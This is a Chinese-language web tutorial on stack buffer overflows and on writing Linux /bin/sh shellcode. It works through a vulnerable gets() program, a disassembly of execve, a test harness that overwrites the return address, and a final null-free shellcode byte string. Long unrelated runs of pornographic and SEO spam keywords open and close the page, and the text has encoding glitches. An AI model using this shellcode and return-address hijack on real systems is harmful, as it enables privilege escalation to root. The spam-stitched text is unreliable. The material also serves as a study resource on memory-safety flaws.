精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

堆棧溢出技術(shù)從入門到高深:如何書寫shell code

安全 網(wǎng)站安全
雖然溢出在程序開發(fā)過程中不可完全避免,但溢出對(duì)系統(tǒng)的威脅是巨大的,由于系統(tǒng)的特殊性,溢出發(fā)生時(shí)攻擊者可以利用其漏洞來獲取系統(tǒng)的高級(jí)權(quán)限r(nóng)oot,因此本文將詳細(xì)介紹堆棧溢出技術(shù)。

雖然溢出在程序開發(fā)過程中不可完全避免,但溢出對(duì)系統(tǒng)的威脅是巨大的,由于系統(tǒng)的特殊性,溢出發(fā)生時(shí)攻擊者可以利用其漏洞來獲取系統(tǒng)的高級(jí)權(quán)限r(nóng)oot,因此本文將詳細(xì)介紹堆棧溢出技術(shù)……

在您開始了解堆棧溢出前,首先你應(yīng)該了解win32匯編語言,熟悉寄存器的組成和功能。你必須有堆棧和存儲(chǔ)分配方面的基礎(chǔ)知識(shí),有關(guān)這方面的計(jì)算機(jī)書籍很多,我將只是簡單闡述原理,著重在應(yīng)用。其次,你應(yīng)該了解linux,本講中我們的例子將在linux上開發(fā)。

相關(guān)推薦】:

堆棧溢出技術(shù)從入門到高深:利用堆棧溢出獲得shell

堆棧溢出技術(shù)從入門到高深:windows系統(tǒng)下堆棧溢出

1、首先復(fù)習(xí)一下基礎(chǔ)知識(shí)。

從物理上講,堆棧是就是一段連續(xù)分配的內(nèi)存空間。在一個(gè)程序中,會(huì)聲明各種變量。靜態(tài)全局變量是位于數(shù)據(jù)段并且在程序開始運(yùn)行的時(shí)候被加載。而程序的動(dòng)態(tài)的局部變量則分配在堆棧里面。

從操作上來講,堆棧是一個(gè)先入后出的隊(duì)列。他的生長方向與內(nèi)存的生長方向正好相反。我們規(guī)定內(nèi)存的生長方向?yàn)橄蛏希瑒t棧的生長方向?yàn)橄蛳隆簵5牟僮鱬ush=ESP-4,出棧的操作是pop=ESP+4.換句話說,堆棧中老的值,其內(nèi)存地址,反而比新的值要大。請(qǐng)牢牢記住這一點(diǎn),因?yàn)檫@是堆棧溢出的基本理論依據(jù)。

在一次函數(shù)調(diào)用中,堆棧中將被依次壓入:參數(shù),返回地址,EBP。如果函數(shù)有局部變量,接下來,就在堆棧中開辟相應(yīng)的空間以構(gòu)造變量。函數(shù)執(zhí)行結(jié)束,這些局部變量的內(nèi)容將被丟失。但是不被清除。在函數(shù)返回的時(shí)候,彈出EBP,恢復(fù)堆棧到函數(shù)調(diào)用的地址,彈出返回地址到EIP以繼續(xù)執(zhí)行程序。

在C語言程序中,參數(shù)的壓棧順序是反向的。比如func(a,b,c)。在參數(shù)入棧的時(shí)候,是:先壓c,再壓b,最后a。在取參數(shù)的時(shí)候,由于棧的先入后出,先取棧頂?shù)腶,再取b,最后取c。這些是匯編語言的基礎(chǔ)知識(shí),用戶在開始前必須要了解這些知識(shí)。

2、現(xiàn)在我們來看一看什么是堆棧溢出。

運(yùn)行時(shí)的堆棧分配

堆棧溢出就是不顧堆棧中數(shù)據(jù)塊大小,向該數(shù)據(jù)塊寫入了過多的數(shù)據(jù),導(dǎo)致數(shù)據(jù)越界,結(jié)果覆蓋了老的堆棧數(shù)據(jù)。

例如程序一:

#include

int main ( )

{

char name[8];

printf("Please type your name: ");

gets(name);

printf("Hello, %s!", name);

return 0;

}

編譯并且執(zhí)行,我們輸入ipxodi,就會(huì)輸出Hello,ipxodi!。程序運(yùn)行中,堆棧是怎么操作的呢?

在main函數(shù)開始運(yùn)行的時(shí)候,堆棧里面將被依次放入返回地址,EBP。

我們用gcc -S 來獲得匯編語言輸出,可以看到main函數(shù)的開頭部分對(duì)應(yīng)如下語句:

pushl %ebp

movl %esp,%ebp

subl $8,%esp

首先他把EBP保存下來,,然后EBP等于現(xiàn)在的ESP,這樣EBP就可以用來訪問本函數(shù)的局部變量。之后ESP減8,就是堆棧向上增長8個(gè)字節(jié),用來存放name[]數(shù)組。最后,main返回,彈出ret里的地址,賦值給EIP,CPU繼續(xù)執(zhí)行EIP所指向的指令。

堆棧溢出

現(xiàn)在我們?cè)賵?zhí)行一次,輸入ipxodiAAAAAAAAAAAAAAA,執(zhí)行完gets(name)之后,由于我們輸入的name字符串太長,name數(shù)組容納不下,只好向內(nèi)存頂部繼續(xù)寫‘A’。由于堆棧的生長方向與內(nèi)存的生長方向相反,這些‘A’覆蓋了堆棧的老的元素。 我們可以發(fā)現(xiàn),EBP,ret都已經(jīng)被‘A’覆蓋了。在main返回的時(shí)候,就會(huì)把‘AAAA’的ASCII碼:0x41414141作為返回地址,CPU會(huì)試圖執(zhí)行0x41414141處的指令,結(jié)果出現(xiàn)錯(cuò)誤。這就是一次堆棧溢出。

3、如何利用堆棧溢出

我們已經(jīng)制造了一次堆棧溢出。其原理可以概括為:由于字符串處理函數(shù)(gets,strcpy等等)沒有對(duì)數(shù)組越界加以監(jiān)視和限制,我們利用字符數(shù)組寫越界,覆蓋堆棧中的老元素的值,就可以修改返回地址。

在上面的例子中,這導(dǎo)致CPU去訪問一個(gè)不存在的指令,結(jié)果出錯(cuò)。事實(shí)上,當(dāng)堆棧溢出的時(shí)候,我們已經(jīng)完全的控制了這個(gè)程序下一步的動(dòng)作。如果我們用一個(gè)實(shí)際存在指令地址來覆蓋這個(gè)返回地址,CPU就會(huì)轉(zhuǎn)而執(zhí)行我們的指令。

在UINX/linux系統(tǒng)中,我們的指令可以執(zhí)行一個(gè)shell,這個(gè)shell將獲得和被我們堆棧溢出的程序相同的權(quán)限。如果這個(gè)程序是setuid的,那么我們就可以獲得root shell。下一講將敘述如何書寫一個(gè)shell code。

如何書寫一個(gè)shell code

一:shellcode基本算法分析

在程序中,執(zhí)行一個(gè)shell的程序是這樣寫的:

shellcode.c

------------------------------------------------------------------------

#include

void main() {

char *name[2];

name[0] = "/bin/sh"

name[1] = NULL;

execve(name[0], name, NULL);

}

------------------------------------------------------------------------

execve函數(shù)將執(zhí)行一個(gè)程序。他需要程序的名字地址作為第一個(gè)參數(shù)。一個(gè)內(nèi)容為該程序的argv[i](argv[n-1]=0)的指針數(shù)組作為第二個(gè)參數(shù),以及(char*) 0作為第三個(gè)參數(shù)。

我們來看以看execve的匯編代碼:

[nkl10]$Content$nbsp;gcc -o shellcode -static shellcode.c

[nkl10]$Content$nbsp;gdb shellcode

(gdb) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__execve>: pushl %ebp ;

0x80002bd <__execve+1>: movl %esp,%ebp;上面是函數(shù)頭。

0x80002bf <__execve+3>: pushl %ebx;保存ebx

0x80002c0 <__execve+4>: movl $0xb,%eax;eax=0xb,eax指明第幾號(hào)系統(tǒng)調(diào)用。

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx;ebp+8是第一個(gè)參數(shù)"/bin/sh\0"

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx;ebp+12是第二個(gè)參數(shù)name數(shù)組的地址

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx;ebp+16是第三個(gè)參數(shù)空指針的地址。;name[2-1]內(nèi)容為NULL,用來存放返回值。

0x80002ce <__execve+18>: int $0x80;執(zhí)行0xb號(hào)系統(tǒng)調(diào)用(execve)

0x80002d0 <__execve+20>: movl %eax,%edx;下面是返回值的處理就沒有用了。

0x80002d2 <__execve+22>: testl %edx,%edx

0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>

0x80002d6 <__execve+26>: negl %edx

0x80002d8 <__execve+28>: pushl %edx

0x80002d9 <__execve+29>: call 0x8001a34

<__normal_errno_location>

0x80002de <__execve+34>: popl %edx

0x80002df <__execve+35>: movl %edx,(%eax)

0x80002e1 <__execve+37>: movl $0xffffffff,%eax

0x80002e6 <__execve+42>: popl %ebx

0x80002e7 <__execve+43>: movl %ebp,%esp

0x80002e9 <__execve+45>: popl %ebp

0x80002ea <__execve+46>: ret

0x80002eb <__execve+47>: nop

End of assembler dump.

經(jīng)過以上的分析,可以得到如下的精簡指令算法:

movl $execve的系統(tǒng)調(diào)用號(hào),%eax

movl "bin/sh\0"的地址,%ebx

movl name數(shù)組的地址,%ecx

movl name[n-1]的地址,%edx

int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(execve)

當(dāng)execve執(zhí)行成功后,程序shellcode就會(huì)退出,/bin/sh將作為子進(jìn)程繼續(xù)執(zhí)行。可是,如果我們的execve執(zhí)行失敗,(比如沒有/bin/sh這個(gè)文件),CPU就會(huì)繼續(xù)執(zhí)行后續(xù)的指令,結(jié)果不知道跑到哪里去了。所以必須再執(zhí)行一個(gè)exit()系統(tǒng)調(diào)用,結(jié)束shellcode.c的執(zhí)行。

我們來看以看exit(0)的匯編代碼:

(gdb) disassemble _exit

Dump of assembler code for function _exit:

0x800034c <_exit>: pushl %ebp

0x800034d <_exit+1>: movl %esp,%ebp

0x800034f <_exit+3>: pushl %ebx

0x8000350 <_exit+4>: movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用

0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx為參數(shù)0

0x8000358 <_exit+12>: int $0x80 ;引發(fā)系統(tǒng)調(diào)用

0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx

0x800035d <_exit+17>: movl %ebp,%esp

0x800035f <_exit+19>: popl %ebp

0x8000360 <_exit+20>: ret

0x8000361 <_exit+21>: nop

0x8000362 <_exit+22>: nop

0x8000363 <_exit+23>: nop

End of assembler dump.

看來exit(0)〕的匯編代碼更加簡單:

movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用

movl 0,%ebx ;ebx為exit的參數(shù)0

int $0x80 ;引發(fā)系統(tǒng)調(diào)用

那么總結(jié)一下,合成的匯編代碼為:

movl $execve的系統(tǒng)調(diào)用號(hào),%eax

movl "bin/sh\0"的地址,%ebx

movl name數(shù)組的地址,%ecx

movl name[n-1]的地址,%edx

int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(execve)

movl $0x1,%eax ;1號(hào)系統(tǒng)調(diào)用

movl 0,%ebx ;ebx為exit的參數(shù)0

int $0x80 ;執(zhí)行系統(tǒng)調(diào)用(exit)

二:實(shí)現(xiàn)一個(gè)shellcode

好,我們來實(shí)現(xiàn)這個(gè)算法。首先我們必須有一個(gè)字符串“/bin/sh”,還得有一個(gè)name數(shù)組。我們可以構(gòu)造它們出來,可是,在shellcode中如何知道它們的地址呢?每一次程序都是動(dòng)態(tài)加載,字符串和name數(shù)組的地址都不是固定的。通過JMP和call的結(jié)合,黑客們巧妙的解決了這個(gè)問題。

------------------------------------------------------------------------

jmp call的偏移地址 # 2 bytes popl %esi # 1 byte //popl出來的是string的地址。

movl %esi,array-offset(%esi) # 3 bytes //在string+8處構(gòu)造 name數(shù)組,//name[0]放 string的地址

movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7處放0作為string的結(jié)尾。

movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。

movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代碼。

movl %esi,%ebx # 2 bytes //ebx=string的地址

leal array-offset,(%esi),%ecx # 3 bytes //ecx=name數(shù)組的開始地址

leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址

int $0x80 # 2 bytes //int 0x80是sys call

movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代碼

movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值

int $0x80 # 2 bytes //int 0x80是sys call

call popl 的偏移地址 # 5 bytes //這里放call,string 的地址就會(huì)作為返回地址壓棧。

/bin/sh 字符串

------------------------------------------------------------------------

首先使用JMP相對(duì)地址來跳轉(zhuǎn)到call,執(zhí)行完call指令,字符串/bin/sh的地址將作為call的返回地址壓入堆棧。現(xiàn)在來到popl esi,把剛剛壓入棧中的字符串地址取出來,就獲得了字符串的真實(shí)地址。然后,在字符串的第8個(gè)字節(jié)賦0,作為串的結(jié)尾。后面8個(gè)字節(jié),構(gòu)造name數(shù)組(兩個(gè)整數(shù),八個(gè)字節(jié))。

我們可以寫shellcode了。先寫出匯編源程序。

shellcodeasm.c

------------------------------------------------------------------------

void main() {

__asm__("

jmp 0x2a # 3 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

movb $0x0,0x7(%esi) # 4 bytes

movl $0x0,0xc(%esi) # 7 bytes

movl $0xb,%eax # 5 bytes

movl %esi,%ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int $0x80 # 2 bytes

movl $0x1, %eax # 5 bytes

movl $0x0, %ebx # 5 bytes

int $0x80 # 2 bytes

call -0x2f # 5 bytes

.string /"/bin/sh/" # 8 bytes

");

}

編譯后,用gdb的b/bx 〔地址〕命令可以得到十六進(jìn)制的表示。

下面,寫出測(cè)試程序如下:(注意,這個(gè)test程序是測(cè)試shellcode的基本程序)

test.c

char shellcode[] ="/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00"

"/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80"

"/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xd1/xff/xff"

"/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3"

void main() {

int *ret;

ret = (int *)&ret + 2; //ret 等于main()的返回地址 //(+2是因?yàn)椋河衟ushl ebp ,否則加1就可以了。)

(*ret) = (int)shellcode; //修改main()的返回地址為shellcode的開始地址。

}

[nkl10]$Content$nbsp;gcc -o test test.c

[nkl10]$Content$nbsp;./test

$Content$nbsp;exit

[nkl10]$Content$nbsp;

我們通過一個(gè)shellcode數(shù)組來存放shellcode,當(dāng)我們把程序(test.c)的返回地址ret設(shè)置成shellcode數(shù)組的開始地址時(shí),程序在返回的時(shí)候就會(huì)去執(zhí)行我們的hellcode,從而我們得到了一個(gè)shell。運(yùn)行結(jié)果,得到了bsh的提示符$,表明成功的開了一個(gè)shell。這里有必要解釋的是,我們把shellcode作為一個(gè)全局變量開在了數(shù)據(jù)段而不是作為一段代碼。是因?yàn)樵诓僮飨到y(tǒng)中,程序代碼段的內(nèi)容是具有只讀屬性的。不能修改。而我們的代碼中movl %esi,0x8(%esi)等語句都修改了代碼的一部分,所以不能放在代碼段。這個(gè)shellcode可以了嗎?很遺憾,還差了一點(diǎn)。大家回想一下,在堆棧溢出中,關(guān)鍵在于字符串?dāng)?shù)組的寫越界。但是,gets,strcpy等字符串函數(shù)在處理字符串的時(shí)候,以"/0"為字符串結(jié)尾。遇/0就結(jié)束了寫操作。而我們的shellcode串中有大量的/0字符。因此,對(duì)于gets(name)來說,上面的shellcode是不可行的。我們的shellcode是不能有/0字符出現(xiàn)的。

因此,有些指令需要修改一下:

舊的指令 新的指令

movb $0x0,0x7(%esi) xorl %eax,%eax

molv $0x0,0xc(%esi) movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

--------------------------------------------------------

movl $0xb,%eax movb $0xb,%al

--------------------------------------------------------

movl $0x1, %eax xorl %ebx,%ebx

movl $0x0, %ebx movl %ebx,%eax

inc %eax

--------------------------------------------------------

最后的shellcode為:

------------------------------------------------------------------------

char shellcode[]=

00 "/xeb/x1f" /* jmp 0x1f */

02 "/x5e" /* popl %esi */

03 "/x89/x76/x08" /* movl %esi,0x8(%esi) */

06 "/x31/xc0" /* xorl %eax,%eax */

08 "/x88/x46/x07" /* movb %eax,0x7(%esi) */

0b "/x89/x46/x0c" /* movl %eax,0xc(%esi) */

0e "/xb0/x0b" /* movb $0xb,%al */

10 "/x89/xf3" /* movl %esi,%ebx */

12 "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */

15 "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */

18 "/xcd/x80" /* int $0x80 */

1a "/x31/xdb" /* xorl %ebx,%ebx */

1c "/x89/xd8" /* movl %ebx,%eax */

1e "/x40" /* inc %eax */

1f "/xcd/x80" /* int $0x80 */

21 "/xe8/xdc/xff/xff/xff" /* call -0x24 */

26 "/bin/sh" /* .string /"/bin/sh/" */

 

責(zé)任編輯:藍(lán)雨淚 來源: 紅黑聯(lián)盟
相關(guān)推薦

2012-11-27 15:46:51

堆棧溢出

2012-11-27 16:03:00

堆棧溢出

2017-01-03 16:57:58

2014-04-15 13:16:00

Code Review

2014-03-17 11:05:00

ScriptCode Blocks

2016-12-19 09:02:05

Linux Shell刪除跑路

2017-06-26 09:15:39

SQL數(shù)據(jù)庫基礎(chǔ)

2025-01-07 14:42:09

2020-04-10 15:05:09

深度學(xué)習(xí)人工智能蒸餾

2012-02-29 00:49:06

Linux學(xué)習(xí)

2025-02-24 10:07:10

2021-07-01 07:03:32

開發(fā)Webpack代碼

2022-08-16 09:34:50

程序員技術(shù)

2013-06-06 13:42:48

OSPF入門配置

2018-06-12 11:01:55

HBase誤刪數(shù)據(jù)

2022-06-10 08:17:52

HashMap鏈表紅黑樹

2022-10-20 08:02:29

ELFRTOSSymbol

2010-02-06 15:31:18

ibmdwAndroid

2009-07-22 14:55:16

ibmdwAndroid

2016-12-08 22:39:40

Android
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

午夜在线观看一区| 国产高清www| 国产精品人人爽| 欧美精品国产一区二区| 精品国产乱码久久久久久图片| 少妇高潮喷水在线观看| 二区三区在线播放| 国产在线精品免费| 国产成人综合久久| 91精品国产高潮对白| 国语产色综合| 精品国产3级a| 成人亚洲免费视频| 国内精彩免费自拍视频在线观看网址 | 国产尤物视频在线观看| 99精品国产福利在线观看免费| 丝袜情趣国产精品| 国产精品300页| 日本伊人久久| 欧美性受xxxx| 男人日女人bb视频| 久久www人成免费看片中文| 欧美国产在线观看| 欧美精品123| 色婷婷av一区二区三区之红樱桃 | 天天躁日日躁aaaxxⅹ| 97青娱国产盛宴精品视频| 欧美麻豆精品久久久久久| 国内外成人激情视频| 成人女同在线观看| 亚洲精品日日夜夜| 中文字幕人成一区| 成年人视频在线免费观看| 91理论电影在线观看| 国产美女99p| www日本视频| 国产综合成人久久大片91| 国产精品久久久久久久久久| 日批视频免费在线观看| 噜噜爱69成人精品| 69国产精品成人在线播放| 久久精品国产亚洲av高清色欲 | 国产精品久久免费| 免费成人美女在线观看| 国产精品高潮呻吟久久av无限| 天堂中文字幕在线观看| 国产农村妇女精品一二区| 国内外成人免费激情在线视频| 久久久久久久久久一区二区三区 | www黄色在线| 神马电影网我不卡| 在线看日本不卡| 99热手机在线| 国产a亚洲精品| 欧美日韩精品三区| 欧美在线aaa| 亚洲图片第一页| 成人免费公开视频| 国产成人高清视频| 成人黄动漫网站免费| 国产a级免费视频| 国产福利一区二区三区视频在线| 97超级在线观看免费高清完整版电视剧| 国产精品视频无码| 国产激情视频一区二区在线观看| 99三级在线| 色网站免费观看| 26uuu欧美| 色一情一乱一伦一区二区三区| 91大神xh98hx在线播放| 中文字幕一区二区三区视频| 艳母动漫在线观看| 黄色在线看片| 色综合天天综合| 亚洲高清免费在线观看| 日本一区二区三区播放| 日韩成人在线免费观看| 国产精品美女高潮无套| 在线看片不卡| 欧美亚洲国产另类| 亚洲一区中文字幕在线| 国产福利91精品一区二区三区| 国产偷国产偷亚洲高清97cao| 青青草在线播放| 欧美国产日韩在线观看| 久久av喷吹av高潮av| 美女搞黄视频在线观看| 在线观看成人小视频| 久久久久久久久久久久久久久国产| 成人免费在线电影网| 亚洲人成电影网| 99精品久久久久| 午夜综合激情| 亚洲综合日韩中文字幕v在线| 日韩在线免费播放| 亚洲视频一二区| 5月婷婷6月丁香| 婷婷久久综合九色综合99蜜桃| 亚洲成人a级网| 在线免费看视频| 亚洲激情网站| 91久久久亚洲精品| 欧美高清成人| 亚洲一区二区欧美日韩 | 国产午夜精品理论片在线| 亚洲一本视频| 国产综合视频在线观看| 欧美孕妇孕交xxⅹ孕妇交| 亚洲精品欧美综合四区| 男人透女人免费视频| eeuss鲁片一区二区三区| 中文欧美日本在线资源| 自拍偷拍欧美亚洲| 国产成人啪免费观看软件| 亚洲精品乱码视频| 成人av三级| 精品粉嫩超白一线天av| 精品国产视频一区二区三区| 日韩成人dvd| 精品国产乱码久久久久久久软件| 在线观看午夜av| 欧美日韩中文一区| 日本少妇高潮喷水xxxxxxx| 夜夜嗨一区二区| 99国产超薄肉色丝袜交足的后果| chinese偷拍一区二区三区| 午夜av电影一区| 最新国产精品自拍| 自拍欧美日韩| 成人亲热视频网站| 色三级在线观看| 欧美揉bbbbb揉bbbbb| 99久久99久久精品免费| 青青草97国产精品免费观看 | 欧美一区二区三区视频免费播放| 自拍偷拍你懂的| 日韩电影在线一区二区| 日本免费高清一区| 深夜成人影院| 国产亚洲美女精品久久久| 久久久精品毛片| 久久久久久久久一| 免费裸体美女网站| 欧美日韩一二| 国产精品一区二区久久| 亚洲搞黄视频| 717成人午夜免费福利电影| 欧洲性xxxx| 日本亚洲免费观看| 亚洲精品乱码视频| 欧美大陆国产| 久久精品国产久精国产思思| 亚洲午夜精品久久久| 中文字幕一区二区三区在线不卡| xxxx在线免费观看| 午夜久久黄色| 国产欧美日韩视频一区二区三区| 182在线视频观看| 亚洲精品视频在线播放| 老熟妇一区二区三区| 国产欧美一区二区三区鸳鸯浴| www.激情小说.com| 99国产**精品****| 99高清视频有精品视频| 激情视频网站在线播放色| 亚洲乱码一区av黑人高潮 | 免费看男女www网站入口在线| 日韩高清a**址| 中文字幕91爱爱| 亚洲老妇xxxxxx| 伊人网综合视频| 久久精品国产清高在天天线| 五月婷婷综合色| 国产麻豆一区二区三区| 韩剧1988免费观看全集| 国产精品ⅴa有声小说| 欧美高清你懂得| 国产黄色片视频| 国产亚洲一区二区三区四区| 亚洲图片 自拍偷拍| 亚洲激情精品| 一区二区不卡视频| 国产成人一二| 国产精品女视频| 精精国产xxxx视频在线中文版| 日韩成人在线网站| 亚洲怡红院av| 午夜电影一区二区三区| 在线观看亚洲网站| 91免费观看视频| 亚洲免费在线播放视频| 美女精品一区| 国产精品日韩三级| 欧美肉体xxxx裸体137大胆| 风间由美久久久| 日韩精品一区二区三区av| 欧美激情成人在线视频| av在线天堂| 亚洲国产婷婷香蕉久久久久久| 中文字幕一区二区免费| 五月综合激情日本mⅴ| 亚洲天堂网av在线| 久久精品一区二区三区av| 中文字幕一二三| 日本不卡123| 日本www在线视频| 亚洲情侣在线| 亚洲v欧美v另类v综合v日韩v| 国产乱论精品| 91九色极品视频| 日本免费成人| 国产精品极品美女在线观看免费| 阿v视频在线观看| 欧美高清videos高潮hd| 午夜视频在线免费观看| 亚洲色无码播放| 日韩中文字幕免费在线观看| 91精品国产色综合久久久蜜香臀| 波多野结衣一二区| 欧美性生交xxxxxdddd| 亚洲精品午夜久久久久久久| 亚洲精品视频在线| 国精品无码一区二区三区| 国产精品视频看| 公肉吊粗大爽色翁浪妇视频| 91丨porny丨蝌蚪视频| 伦理片一区二区| 国产成人av一区二区三区在线观看| 黄色小视频免费网站| 日韩电影一区二区三区四区| 国产精品第12页| 亚洲欧美视频一区二区三区| av7777777| 亚洲精选在线| 国产毛片视频网站| 亚洲精品在线二区| 天天夜碰日日摸日日澡性色av| 激情偷拍久久| 日韩a级在线观看| 在线不卡视频| 男女视频网站在线观看| 亚洲黄色影片| 欧美 日韩 国产一区| 久久香蕉精品| 久久久久久三级| 日本欧美韩国一区三区| 牛夜精品久久久久久久| 老司机一区二区| 看看黄色一级片| 国产一区二区三区黄视频| 色姑娘综合天天| 国产高清成人在线| 中文字幕一区二区人妻电影丶| 成人av影院在线| 日韩精品卡通动漫网站| 久久久欧美精品sm网站| 国产成人无码精品久久二区三| 国产欧美日韩在线看| 殴美一级黄色片| 亚洲免费视频中文字幕| 日韩精品人妻中文字幕| 福利视频导航一区| 国产精品成人久久久| 7777精品伊人久久久大香线蕉完整版 | 日本一级二级视频| 亚洲国产裸拍裸体视频在线观看乱了 | av网站在线播放| 久久福利视频网| 欧美激情护士| 国产精品久久久久久久久久尿 | 精品欧美久久久| 天天操天天操天天| 伊人伊成久久人综合网小说| 超碰在线观看免费版| 午夜精品福利视频| 台湾佬成人网| 91黄在线观看| 九九精品在线| 久久久无码中文字幕久...| 亚洲精品社区| jizz18女人| 成人av在线观| 四虎永久免费地址| 精品av在线播放| 91无套直看片红桃| 亚洲电影成人av99爱色| 一级毛片视频在线| 午夜精品福利在线观看| 日韩护士脚交太爽了| 国产一区二区精品免费| 大片网站久久| 日本在线xxx| 国产一区啦啦啦在线观看| 人妻丰满熟妇av无码久久洗澡| 中文字幕一区二区三区不卡| 天天操中文字幕| 91精品国产91久久久久久最新毛片 | 国产成人亚洲综合a∨猫咪| 午夜时刻免费入口| 亚洲成人资源网| 国产日韩在线观看一区| 亚洲亚裔videos黑人hd| 毛片在线网址| 成人午夜激情网| 欧美精品尤物在线观看| 欧美极品欧美精品欧美| 国产一区不卡在线| 国产亚洲精品精品精品| 欧美性少妇18aaaa视频| 日本韩国免费观看| 美女撒尿一区二区三区| 日韩和的一区二在线| 精品国产一区二区三区麻豆免费观看完整版 | 东方aⅴ免费观看久久av| 韩国一级黄色录像| 欧美视频在线观看一区二区| 日韩专区一区二区| 8x拔播拔播x8国产精品| 麻豆成人入口| 免费高清一区二区三区| 国产成人在线观看免费网站| 久草视频手机在线| 欧美精品第1页| 午夜在线视频| 国产欧美日韩中文| 欧美综合久久| 日本新janpanese乱熟| 91亚洲精品久久久蜜桃| 日本一二三区不卡| 欧美精品一区二区三区在线播放| 性欧美videoshd高清| 亚洲精品日韩激情在线电影| 国产精品成人a在线观看| 在线观看国产中文字幕| 中文在线一区二区| 国产精品无码一区| 神马国产精品影院av| 福利一区和二区| 亚洲一区二区四区| 久久机这里只有精品| 久久久久麻豆v国产| 欧美另类z0zxhd电影| 精品51国产黑色丝袜高跟鞋| 成人有码视频在线播放| 欧美成人高清| 精品熟女一区二区三区| 午夜精品视频一区| 日本护士...精品国| 日本精品免费一区二区三区| 国产91精品对白在线播放| 国产免费999| 国产精品美女久久久久aⅴ国产馆| 在线免费观看一级片| xvideos国产精品| 亚洲日本一区二区三区在线| 91九色丨porny丨国产jk| 91免费看`日韩一区二区| www.五月婷婷.com| www国产亚洲精品久久网站| 亚洲精品一区国产| 男女高潮又爽又黄又无遮挡| 国产日韩欧美综合一区| 国产一区二区三区中文字幕| 欧美理论片在线观看| 噜噜噜天天躁狠狠躁夜夜精品| 欧美日韩激情视频在线观看| 国产欧美一区二区精品性色超碰| 国产精品毛片一区二区在线看舒淇| 九色精品免费永久在线| 欧美深夜视频| 一级在线免费视频| 一区二区三区加勒比av| 亚欧在线观看视频| 国产精品无码专区在线观看| 午夜国产精品视频免费体验区| 成人在线视频免费播放| 日本道精品一区二区三区| 成人影院www在线观看| 韩日午夜在线资源一区二区| 美女视频一区二区三区| 久久一二三四区| 伊人精品在线观看| 99re8这里有精品热视频免费| 欧美日韩大尺度| 一区二区三区四区在线播放| 免费资源在线观看| 亚洲在线观看视频网站| 久久亚洲欧洲| 免费在线观看国产精品| 亚洲一区999| 精品成人自拍视频| 亚洲另类第一页| 欧美日韩中文字幕在线| 成人黄色网址| 日韩精品久久一区| 99麻豆久久久国产精品免费| 一道本在线视频| 欧美性视频精品| 国产一区二区三区自拍| 成年人视频软件|